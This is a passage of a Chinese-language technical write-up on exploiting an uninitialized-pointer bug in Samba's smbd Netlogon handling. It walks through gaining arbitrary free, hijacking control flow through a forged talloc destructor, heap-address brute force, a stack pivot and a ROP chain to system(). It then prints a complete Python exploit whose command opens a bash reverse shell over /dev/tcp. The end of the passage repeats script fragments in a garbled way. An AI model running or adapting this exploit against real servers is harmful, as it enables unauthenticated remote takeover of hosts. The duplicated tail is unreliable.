if (!NT_STATUS_IS_OK(status)) {
[...]
TALLOC_FREE(creds);
return status;
} 4 漏洞利用我们首先来看一下smbd的binary当中开启了哪些保护机制：$ checksec.sh --file smbd
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH smbd 编译器所有能加的保护机制都用上了，最需要注意的是开启了PIE的保护，这样如果要使用binary本身的代码片段来进行ROP或者调用导入函数，就必须首先知道程序本身加载的地址。4.1 任意地址Free要利用这个漏洞，首先需要找到一个控制流，能够控制栈上未初始化的指针creds，这样我们就可以实现对任意地址调用TALLOC_FREE()。根据@sleepya_的PoC，我们已经知道，在Ubuntu 12.04 和 Debian 7 x86系统中，NetrServerPasswordSet请求当中PrimaryName的ReferentID域恰好落在了栈上未初始化指针creds的位置。这样我们就可以通过构造ReferentID来实现任意地址Free。PoC中相关代码如下：primaryName = nrpc.PLOGONSRV_HANDLE()<\/p>

ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit<\/h1>
primaryName.fields['ReferentID'] = 0x41414141 4.2 控制EIP有了任意地址Free后，我们可以想办法让TALLOC_FREE()来释放我们控制的内存块，但我们并不知道我们所能控制的内存的地址（DCERPC请求中的数据存储在堆上）。我们可以穷举堆的地址，因为smbd进程采用fork的方式来处理每个连接，内存空间的布局是不变的。另外我们可以在堆上大量布置TALLOC内存块，来提高命中率，尽可能降低枚举的空间。我们首先假设已经知道堆的地址，先来看一看如何构造TALLOC内存块来劫持EIP。我们需要去了解TALLOC_FREE()的实现。首先看一看TALLOC内存块的结构：struct talloc_chunk {
struct talloc_chunk next, <\/em>prev;
struct talloc_chunk parent, <\/em>child;
struct talloc_reference_handle refs;
talloc_destructor_t destructor;
const char <\/em>name;
size_t size;
unsigned flags;
void pool;
8 bytes padding;
}; 为了满足16字节对齐，这个结构末尾还有8字节的padding，这样talloc_chunk结构一共48字节。在这个结构当中，destructor是一个函数指针，我们可以任意构造。先来看一看TALLOC_FREE()这个宏展开的代码：PUBLIC<\/em> int _talloc_free(void <\/em>ptr, const char location)
{
struct talloc_chunk <\/em>tc;
if (unlikely(ptr == NULL)) {
return -1;
}
tc = talloc_chunk_from_ptr(ptr);
...
} _talloc_free()又调用了talloc_chunk_from_ptr()，这个函数是用来将内存指针（分配时返回给用户使用的指针ptr）转换成talloc_chunk的指针。\/* panic if we get a bad magic value \/
static inline struct talloc_chunk <\/em>talloc_chunk_from_ptr(const void ptr)
{
const char <\/em>pp = (const char )ptr;
struct talloc_chunk <\/em>tc = discard_const_p(struct talloc_chunk, pp - TC_HDR_SIZE);
if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
if ((tc->flags & (~0xFFF)) == TALLOC_MAGIC_BASE) {
talloc_abort_magic(tc->flags & (~0xF));
return NULL;
}<\/p>
if (tc->flags & TALLOC_FLAG_FREE) {
talloc_log("talloc: access after free error - first free may be at %s\n", tc->name);
talloc_abort_access_after_free();
return NULL;
} else {
talloc_abort_unknown_value();
return NULL;
}
}
return tc;
} 这个函数仅仅把用户内存指针减去TC_HDR_SIZE并返回， TC_HDR_SIZE就是talloc_chunk的大小48，但是我们需要满足tc->flags的检查，将其设置为正确的Magic Number，否则函数无法返回正确指针。接下来我们继续看_talloc_free()函数：PUBLIC<\/em> int _talloc_free(void ptr, const char <\/em>location)
{
...
tc = talloc_chunk_from_ptr(ptr);
if (unlikely(tc->refs != NULL)) {
struct talloc_reference_handle h;
if (talloc_parent(ptr) == null_context && tc->refs->next == NULL) {
return talloc_unlink(null_context, ptr);
}
talloc_log("ERROR: talloc_free with references at %s\n",
location);
for (h=tc->refs; h; h=h->next) {
talloc_log("\treference at %s\n",
h->location);
}
return -1;
}
return _talloc_free_internal(ptr, location);
} 如果tc->refs不等于NULL，则进入if分支：为了让里面的第一个if分支不挂，我们需要把tc->parent指针设置成NULL；紧接着的for循环又要求我们让tc->refs指向一个合法链表，有一些复杂。我们先来看如果tc->refs为NULL的情形，即程序进入了_talloc_free_internal()函数：static inline int _talloc_free_internal(void <\/em>ptr, const char location)
{
...
if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
\/<\/em> we have a free loop - stop looping \/
return 0;
}
if (unlikely(tc->destructor)) {
talloc_destructor_t d = tc->destructor;
if (d == (talloc_destructor_t)-1) {
return -1;
}
tc->destructor = (talloc_destructor_t)-1;
if (d(ptr) == -1) { \/\/ call destructor
tc->destructor = d;
return -1;
}
tc->destructor = NULL;
}
...
} 我们略去该函数中已经不需要考虑的部分，在上述函数中，我们已经看到talloc_chunk的destructor被调用起来了，但是在这之前有一些检查：第一个if当中，我们不能在flags中设置TALLOC_FLAG_LOOP；在第二个if中，destructor如果设置为-1，则函数返回-1，程序不会crash，如果destructor设置为其他非法地址，则程序会崩溃退出。我们可以利用这个特性来验证穷举的堆的地址是否准确：我们在穷举时可以将destructor设置为-1，当找到一个用来TALLOC_FREE()的地址没有让程序崩溃（请求有返回），则再将destructor设置为一个非法地址，如果程序这时候崩溃，则说明我们找到的地址是正确的。现在我们总结一下我们需要构造的chunk所应该满足的条件：struct talloc_chunk {
struct talloc_chunk <\/em>next, prev; \/\/ 无要求
struct talloc_chunk <\/em>parent, child; \/\/ 无要求
struct talloc_reference_handle <\/em>refs; \/\/ refs = 0
talloc_destructor_t destructor; \/\/ destructor = -1: (No Crash), others: controled EIP
const char name;
size_t size;
unsigned flags; \/\/ 条件1：flags & (TALLOC_FLAG_FREE | ~0xF)) == TALLOC_MAGIC
\/\/ 条件2：tc->flags & TALLOC_FLAG_LOOP == False
void <\/em>pool; \/\/ 无要求
8 bytes padding; \/\/ 无要求
}; 到此为止，我们已经知道怎么通过构造chunk传给TALLOC_FREE()来控制EIP。4.3 穷举堆地址经过修改PoC并结合gdb调试发现，我们可以使用new password来构造大量的chunk（对应于PoC中的uasNewPass['Data']）。虽然发送给Samba的请求当中有很多数据存储在堆当中（例如username和password，参考 [2]），但是很多数据要求符合WSTR编码，无法传入任意字符。为了提高穷举堆地址的效率，我们采用 [4] 提出的思路，使用只包含refs、destructor、name、size、flags这5个域的压缩chunk，从48字节缩小为20字节，这样我们在穷举时只需要对每个地址穷举5个偏移，而不是原来的12个。压缩chunk的喷射与实际talloc_chunk结构的对应关系如下图所示。 chunk喷射的数量多少也会影响到穷举的效率。如果在内存中喷射的chunk较多，则需要枚举的空间就会减少，但是每次枚举时网络传输、程序对输入的处理等因素所导致的时间开销也会增大，因此需要根据实际情况来选择一个折中的数值。另外，在我们实现的exploit中，使用了进程池来实现并行枚举，提高了穷举的效率。4.4 ROP要实现ROP，我们还需要枚举Samba程序加载的基址。由于地址随机化保护机制的最小粒度为内存页，所以我们按页来枚举即可（0x1000字节）。我们在平台中大量测试了地址空间可能的范围，大致有0x200种可能的情形，可以接受。现在我们只能通过构造destructor来控制一次EIP，为了实现ROP，首先需要做栈迁移（stack pivot），我们在samba的binary中找到了如下gadget：0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ; 由于在控制EIP的现场，ecx-0x4正好指向chunk的name字段，因此我们可以从name字段开始进行ROP。通过设置一个pop4ret（pop eax ; pop esi ; pop edi ; pop ebp ; ret ;）的gadget，就可以让esp指向下一个压缩chunk的name字段，依次往下，直到ESP走到我们喷射的内存的尽头，我们在那里可以无限制地写入ROP Payload。[4] 中并没有给出具体栈迁移的gadget，但是根据该文中给出的图示，可以推测NCC Group的研究人员使用了相同的gadget。4.5 任意代码执行注意到smbd程序中导入了system函数，因此我们可以直接调用system的PLT地址来执行任意命令。但是如何写入命令呢，如果使用在堆中布置命令，目前我们只知道压缩chunk的地址，但是其中只剩下4字节可用，所以考虑调用snprintf，往bss section中逐字节写入命令，这种方式可以执行任意长度的命令。需要注意的是，在调用snprintf和system时，由于binary使用的是地址无关代码（PIC），需要把GOT表地址恢复到ebx寄存器中。生成ROP Payload的Python代码如下所示：# ebx => got
rop = l32(popebx) + l32(got)<\/p>

write cmd to bss, fmt == "%c"<\/h1>
for i in xrange(len(cmd)):
c = cmd[i]
rop += l32(snprintf) + l32(pop4ret)
rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))<\/p>
system(cmd)<\/h1>
rop += l32(system) + 'leet' + l32(bss) [4] 中使用的方法是传统的mmap() + memcpy()然后执行shellcode的方式，可以实现相同的效果。4.6 exploit完整代码samba-exploit.py#!\/usr\/bin\/env python2<\/p>
Author: kelwin@chaitin.com<\/h1>
sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2<\/h1>
import sys
import signal
import time<\/p>
https:\/\/github.com\/zTrix\/zio<\/h1>
from zio import <\/p>
from multiprocessing import Pool, Manager<\/p>
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import <\/p>
host = '127.0.0.1'
port = 445
cmd = "bash -c 'bash >\/dev\/tcp\/127.0.0.1\/1337 0<&1 '\0"<\/p>
0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;<\/h1>
pop4ret_o = 0x41e2cb<\/p>
0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;<\/h1>
popebx_o = 0x006fd522
pivot_o = 0xa6d7c
got_o = 0x9cd640
fmt_o = 0x8e043e
system_o = 0xa4250
snprintf_o = 0xa3e20
bss_o = 0x9d5dc0<\/p>
pie = 0x80000000
free_addr = 0x809fa10c + 8 + 32<\/p>
def exploit(free_addr, pie=0, destructor=-1, step=0x80):
pivot = pie + pivot_o
pop4ret = pie + pop4ret_o
popebx = pie + popebx_o
got = pie + got_o
fmt = pie + fmt_o
system = pie + system_o
snprintf = pie + snprintf_o
bss = pie + bss_o<\/p>
if pie != 0:
destructor = pivot
# struct talloc_chunk {
# struct talloc_chunk next, <\/em>prev;
# struct talloc_chunk parent, <\/em>child;
# struct talloc_reference_handle refs; \/\/ refs = 0
# talloc_destructor_t destructor; \/\/ destructor = -1: (No Crash), others: controled EIP
# const char <\/em>name;
# size_t size;
# unsigned flags; \/\/ magic
# void poo
# };
talloc_chunk = l32(0) # refs => 0
talloc_chunk += l32(destructor) # destructor => control EIP
talloc_chunk += l32(pop4ret) # pop4ret
talloc_chunk += 'leet' #
talloc_chunk += l32(0xe8150c70) # flags => magic<\/p>
# ebx => got
rop = l32(popebx) + l32(got)
# write cmd to bss
for i in xrange(len(cmd)):
c = cmd[i]
rop += l32(snprintf) + l32(pop4ret)
rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
# system(cmd)
rop += l32(system) + 'leet' + l32(bss)<\/p>
payload = 'deadbeef'
payload += talloc_chunk 0x1000 * step
payload += 'leet' * 2
payload += rop.ljust(2560, 'C')
payload += 'cafebabe' + '\0'<\/p>
username = ''
password = ''<\/p>
###
# impacket does not implement NetrServerPasswordSet
###
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)<\/p>
class NetrServerPasswordSetResponse(NDRCALL):
structure = (
('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode',NTSTATUS),
)<\/p>
nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)<\/p>
###
# connect to target
###
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host)
rpctransport.set_credentials('','') # NULL session
rpctransport.set_dport(port)
# impacket has a problem with SMB2 dialect against samba4
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')<\/p>
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)<\/p>
sessionKey = '\x00' 16<\/p>*
###
# prepare ServerPasswordSet request
###
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10<\/p>
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = payload<\/p>
primaryName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
primaryName.fields['ReferentID'] = free_addr<\/p>
request = NetrServerPasswordSet()
request['PrimaryName'] = primaryName
request['AccountName'] = username + '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = host + '\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass<\/p>
DCERPCSessionError = nrpc.DCERPCSessionError
try:
resp = dce.request(request)
print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
print("seems not vulnerable")
# resp.dump()
dce.disconnect()
return 2
except DCERPCSessionError as e:
# expect error_code: 0xc0000225 - STATUS_NOT_FOUND
# expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
print("seems not vulnerable")
# resp.dump()
dce.disconnect()
return 2
except impacket.nmb.NetBIOSError as e:
# print 'exception occured'
if e.args[0] == 'Error while reading from remote':
# print("connection lost!!!\nmight be vulnerable")
return 1
else:
raise
except AttributeError:
# print("exception")
return 0<\/p>
def init_worker():
signal.signal(signal.SIGINT, signal.SIG_IGN)<\/p>
def guess_heap(free_addr, step, hits):
if len(hits) > 0: return
log("[+] trying heap addr %s" % hex(free_addr), 'green')
res = exploit(free_addr, destructor=-1, step=step)
if res == 0:
res = exploit(free_addr, destructor=0, step=step)
if res != 0:
log("hit: %s" % hex(free_addr), 'red')
hits.append(free_addr)<\/p>
def guess_pie(free_addr, pie, step):
log("[+] trying pie base addr %s" % hex(pie), 'green')
try:
exploit(free_addr, pie=pie, step=step)
except impacket.nmb.NetBIOSTimeout:
pass<\/p>
def brute_force_heap(step):
hit = False
print "Initializng 10 processes for brute forcing heap address..."
pool = Pool(10, init_worker)
manager = Manager()
hits = manager.list()
for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20):
for offset in xrange(5):
pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))<\/p>
try:
while True:
time.sleep(5)
if len(hits) > 0:
pool.terminate()
pool.join()
return hits[0]<\/p>
except KeyboardInterrupt:
print "Caught KeyboardInterrupt, terminating..."
pool.terminate()
pool.join()
sys.exit(0)<\/p>
def brute_force_pie(free_addr, step):
print "Initializng 10 processes for brute forcing PIE base address..."
pool = Pool(10, init_worker)
for pie in range(0xb6d00000, 0xb6f00000, 0x1000):
pool.apply_async(guess_pie, (free_addr, pie, step))<\/p>
try:
time.sleep(60 * 60)<\/p>
except KeyboardInterrupt:
print "Caught KeyboardInterrupt, terminating..."
pool.terminate()
pool.join()<\/p>
else:
pool.close()
pool.join()<\/p>
step = 0x1
free_addr = brute_force_heap(step)
brute_force_pie(free_addr, step)<\/p>

system(cmd)<\/h1> rop += l32(system) + 'leet' + l32(bss) [4] 中使用的方法是传统的mmap() + memcpy()然后执行shellcode的方式，可以实现相同的效果。4.6 exploit完整代码samba-exploit.py#!\/usr\/bin\/env python2<\/p>

Author: kelwin@chaitin.com<\/h1>

sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2<\/h1> import sys import signal import time<\/p>

0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;<\/h1> pop4ret_o = 0x41e2cb<\/p>

system(cmd)<\/h1>
rop += l32(system) + 'leet' + l32(bss) [4] 中使用的方法是传统的mmap() + memcpy()然后执行shellcode的方式，可以实现相同的效果。4.6 exploit完整代码samba-exploit.py#!\/usr\/bin\/env python2<\/p>

sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2<\/h1>
import sys
import signal
import time<\/p>

0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;<\/h1>
pop4ret_o = 0x41e2cb<\/p>